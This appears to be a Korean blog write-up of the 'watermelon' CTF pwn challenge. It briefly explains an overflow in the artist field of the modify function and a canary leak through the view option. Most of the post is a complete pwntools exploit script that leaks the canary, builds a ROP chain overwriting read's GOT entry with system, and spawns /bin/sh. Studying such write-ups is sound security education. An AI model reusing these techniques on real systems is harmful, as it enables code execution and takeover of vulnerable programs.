1. Add playlist
2. View playlist
3. Modify playlist
4. Exit
menu는 위와 같다.
-1를 입력시 처음에 있는 함수로 들어가게 되는데 그냥 의미없는 함수같다.
차례대로 add, view, modfiy 함수들이다.
modify 함수에서 artist 를 입력할때 200 을 입력받음으로써 overflow가 일어난다.
일단 add함수로 음악의 개수를 100까지 채운 후 modfiy에서 music number 100을 선택한 다음 오버플로우 하면 될거 같다.
하지만 해당 문제에서 카나리가 있기 때문에 카나리 릭은 view를 통해 해주면 된다.
[exploit]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | from pwn import * p = process('./watermelon') e = ELF('./watermelon') read_got = e.got['read'] offset = 0x9ad50 #read = system pppr = 0x8049acd print p.sendlineafter(': ', 'gyeongje') for i in range(1, 101): #add music1~100 p.sendline('1') p.sendlineafter('\tmusic\t|\t', 'music' + str(i)) p.sendlineafter('\tartist\t|\t', 'artist' + str(i)) p.recvuntil('\tselect\t|\t') ########### canary leak ########### p.sendline('3') p.sendlineafter('select number\t|\t', '100') p.sendlineafter('\tmusic\t|\t', 'music100') p.sendlineafter('\tartist\t|\t', 'A'*20) p.recvuntil('\tselect\t|\t') p.sendline('2') p.recvuntil('A'*20 + '\x0a') canary = u32('\x00' + p.recv(3)) print 'canary : ' + hex(canary) p.recvuntil('\tselect\t|\t') ########### rop start ############# payload = '' payload += 'A'*20 payload += p32(canary) payload += 'A'*12 # /bin/sh -> bss payload += p32(e.plt['read']) payload += p32(pppr) payload += p32(0) payload += p32(e.bss()) payload += p32(len('/bin/sh') + 1) # read leak payload += p32(e.plt['write']) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) # read_got -> system payload += p32(e.plt['read']) payload += p32(pppr) payload += p32(0) payload += p32(read_got) payload += p32(4) # system('/bin/sh') payload += p32(e.plt['read']) payload += 'AAAA' payload += p32(e.bss()) p.sendline('3') p.sendlineafter('select number\t|\t', '100') p.sendlineafter('\tmusic\t|\t', 'music100') p.recvuntil('\tartist\t|\t') p.sendline(payload) p.recvuntil('\tselect\t|\t') p.sendline('4') p.recvuntil('BYE BYE\n\n') p.sendline('/bin/sh') read = u32(p.recv(4)) print 'read : ' + hex(read) print 'system : ' + hex(read - offset) p.sendline(p32(read - offset)) p.interactive() | cs |
'CTF' 카테고리의 다른 글
[ROOTCTF 2017] Factorization(sandbag) (0) | 2018.02.24 |
---|---|
[Codegate 2017] babypwn (0) | 2018.02.23 |
[Codegate 2014] nuclear (0) | 2018.02.23 |
[Codegate 2014] angry_doraemon (0) | 2018.02.22 |
[Plaid 2013] ropasaurusrex (0) | 2018.02.18 |